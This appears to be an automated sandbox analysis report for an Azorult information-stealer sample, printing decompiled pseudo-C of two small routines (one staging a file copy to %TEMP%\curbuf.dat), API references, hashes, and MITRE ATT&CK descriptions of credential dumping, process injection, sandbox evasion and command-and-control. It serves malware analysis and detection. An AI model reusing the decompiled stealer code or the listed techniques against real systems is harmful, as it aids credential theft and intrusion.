Instruction ID: 5328ea8a61f1b3c3886908a4d7eb6976bfaff4b38786c7c23389d9dab3a387f7
Opcode Fuzzy Hash: 099da0d79779097dabcbbe4e17eced4135313adf81f8614c79238fcf2f8b4282
Instruction Fuzzy Hash: 06015BB0684390AEE719AB6A9C967957F92D749704F05C0BFE100BA6F1CB7D5480CB1E

Uniqueness

Uniqueness Score: -1.00%

Function 0040E79C, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 80
fileCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0040E79C(char __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				void* _t29;
				void* _t40;
				WCHAR* _t51;
				int _t54;
				void* _t59;
				intOrPtr _t63;
				intOrPtr _t64;
				void* _t73;
				void* _t74;
				intOrPtr _t77;
				void* _t78;
				void* _t79;

				_t74 = __esi;
				_t73 = __edi;
				_t63 = __edx;
				_t59 = __ebx;
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				E00403980(_v12);
				_push(_t77);
				_push(0x40e89b);
				_push( *[fs:eax]);
				 *[fs:eax] = _t77;
				_t29 = E00403790(_v16);
				asm("cdq");
				_t78 = _t63 -  *0x41cac8; // 0x0
				if(_t78 != 0) {
					if(__eflags < 0) {
						goto L4;
					}
				} else {
					_t79 = _t29 -  *0x41cac4; // 0x5000000
					if(_t79 < 0) {
						L4:
						E00407228(_v8, _t59,  &_v16);
						_t40 = E00403790(_v16);
						_t80 = _t40;
						if(_t40 == 0) {
							E004062FC(L"%TEMP%\\curbuf.dat",  &_v20, _t80);
							_t51 = E00403D98(_v20);
							_t54 = CopyFileW(E00403D98(_v8), _t51, 0);
							_t81 = _t54;
							if(_t54 != 0) {
								E004062FC(L"%TEMP%\\curbuf.dat",  &_v24, _t81);
								E00407228(_v24, _t59,  &_v16);
							}
						}
						E0040E6D4(_v16, _t59, _v12, _t73, _t74);
						E004062FC(L"%TEMP%\\curbuf.dat",  &_v28, _t81);
						DeleteFileW(E00403D98(_v28));
					}
				}
				_pop(_t64);
				 *[fs:eax] = _t64;
				_push(E0040E8A2);
				E00403BF4( &_v28, 3);
				E00403508( &_v16, 2);
				return E00403BDC( &_v8);
			}

0x0040e79c
0x0040e79c
0x0040e79c
0x0040e79c
0x0040e7a1
0x0040e7a2
0x0040e7a3
0x0040e7a4
0x0040e7a5
0x0040e7a6
0x0040e7a7
0x0040e7aa
0x0040e7b0
0x0040e7b8
0x0040e7bf
0x0040e7c0
0x0040e7c5
0x0040e7c8
0x0040e7ce
0x0040e7d3
0x0040e7d4
0x0040e7da
0x0040e7ea
0x00000000
0x00000000
0x0040e7dc
0x0040e7dc
0x0040e7e2
0x0040e7ec
0x0040e7f2
0x0040e7fa
0x0040e7ff
0x0040e801
0x0040e80d
0x0040e815
0x0040e824
0x0040e829
0x0040e82b
0x0040e835
0x0040e840
0x0040e840
0x0040e82b
0x0040e84b
0x0040e858
0x0040e866
0x0040e866
0x0040e7e2
0x0040e86d
0x0040e870
0x0040e873
0x0040e880
0x0040e88d
0x0040e89a

APIs

Part of subcall function 00404150: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 0040415E

CopyFileW.KERNEL32(00000000,00000000,00000000,00000000,0040E89B,?,00000000,00000000,00000000,00000000,00000000,00000000,?,00414448,00000001,0041479C), ref: 0040E824
DeleteFileW.KERNEL32(00000000,00000000,0040E89B,?,00000000,00000000,00000000,00000000,00000000,00000000,?,00414448,00000001,0041479C,00000001,?), ref: 0040E866

Strings

%TEMP%\curbuf.dat, xrefs: 0040E808, 0040E830, 0040E853

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$AllocCopyDeleteString
String ID: %TEMP%\curbuf.dat
API String ID: 5292005-3767633259
Opcode ID: fa43313c693eb8577226a6bec5ecb94cc23b15d92c98476e6badfebabb52b38a
Instruction ID: 82a9ed53c2a697d02335697899508965461685f21aee0589c72fe3466f83eb79
Opcode Fuzzy Hash: fa43313c693eb8577226a6bec5ecb94cc23b15d92c98476e6badfebabb52b38a
Instruction Fuzzy Hash: 4D211271A00209EBDB00FBA6D94299EB7B8EF44309F50897BF400B32D1D738AE11965D

Uniqueness

Uniqueness Score: -1.00%

Function 0040246C, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0040246C(intOrPtr __eax, void* __edx) {
				intOrPtr _v8;
				void* __ecx;
				void* __ebp;
				intOrPtr _t25;
				intOrPtr _t36;
				intOrPtr _t39;
				void* _t42;
				intOrPtr _t45;
				intOrPtr _t47;

				_t45 = _t47;
				_t42 = __edx;
				_t25 = __eax;
				if( *0x41c5ac != 0 || E00401870() != 0) {
					_push(_t45);
					_push("�^");
					_push( *[fs:edx]);
					 *[fs:edx] = _t47;
					if( *0x41c035 != 0) {
						_push(0x41c5b4);
						L004011CC();
					}
					if(E00402290(_t25, _t42) == 0) {
						_t39 = E00401F5C(_t42);
						_t15 = ( *(_t25 - 4) & 0x7ffffffc) - 4;
						if(_t42 < ( *(_t25 - 4) & 0x7ffffffc) - 4) {
							_t15 = _t42;
						}
						if(_t39 != 0) {
							E00402628(_t25, _t15, _t39);
							E004020EC(_t25);
						}
						_v8 = _t39;
					} else {
						_v8 = _t25;
					}
					_pop(_t36);
					 *[fs:eax] = _t36;
					_push(E00402524);
					if( *0x41c035 != 0) {
						_push(0x41c5b4);
						L004011D4();
						return 0;
					}
					return 0;
				} else {
					_v8 = 0;
					return _v8;
				}
			}

0x0040246d
0x00402473
0x00402475
0x0040247e
0x00402495
0x00402496
0x0040249b
0x0040249e
0x004024a8
0x004024aa
0x004024af
0x004024af
0x004024bf
0x004024cd
0x004024db
0x004024e0
0x004024e2
0x004024e2
0x004024e6
0x004024ed
0x004024f4
0x004024f4
0x004024f9
0x004024c1
0x004024c1
0x004024c1
0x004024fe
0x00402501
0x00402504
0x00402510
0x00402512
0x00402517
0x00000000
0x00402517
0x0040251c
0x00402489
0x0040248b
0x0040252c
0x0040252c

APIs

RtlEnterCriticalSection.KERNEL32(0041C5B4,00000000,^), ref: 004024AF
RtlLeaveCriticalSection.KERNEL32(0041C5B4,00402524), ref: 00402517

Part of subcall function 00401870: RtlInitializeCriticalSection.KERNEL32(0041C5B4,00000000,00401926,?,?,0040210A,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 00401886
Part of subcall function 00401870: RtlEnterCriticalSection.KERNEL32(0041C5B4,0041C5B4,00000000,00401926,?,?,0040210A,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 00401899
Part of subcall function 00401870: LocalAlloc.KERNEL32(00000000,00000FF8,0041C5B4,00000000,00401926,?,?,0040210A,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 004018C3
Part of subcall function 00401870: RtlLeaveCriticalSection.KERNEL32(0041C5B4,0040192D,00000000,00401926,?,?,0040210A,?,?,?,?,?,00401AF9,00401D3F,00401D64), ref: 00401920

Strings

^, xrefs: 00402496

Memory Dump Source

Source File: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$AllocInitializeLocal
String ID: ^
API String ID: 2227675388-551292248
Opcode ID: 36f5b8f16900d0e995ce4c5524c526641fb23a44d7305ae2e8247758f3247216
Instruction ID: 4ed45a5183fb1a6edd108f9af425bfacc088641811e0c18f6da98f6ec62fa594
Opcode Fuzzy Hash: 36f5b8f16900d0e995ce4c5524c526641fb23a44d7305ae2e8247758f3247216
Instruction Fuzzy Hash: 92113431700210AEEB25AB7A5F49B5A7BD59786358F20407FF404F32D2D6BD9C00825C

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	File monitoring, Process command-line parameters
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report gunzipped.exe

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: Azorult

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Signature Overview

AV Detection:

Cryptography:

Compliance:

Spreading:

Networking:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

HTTP Packets

Code Manipulations

Statistics

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre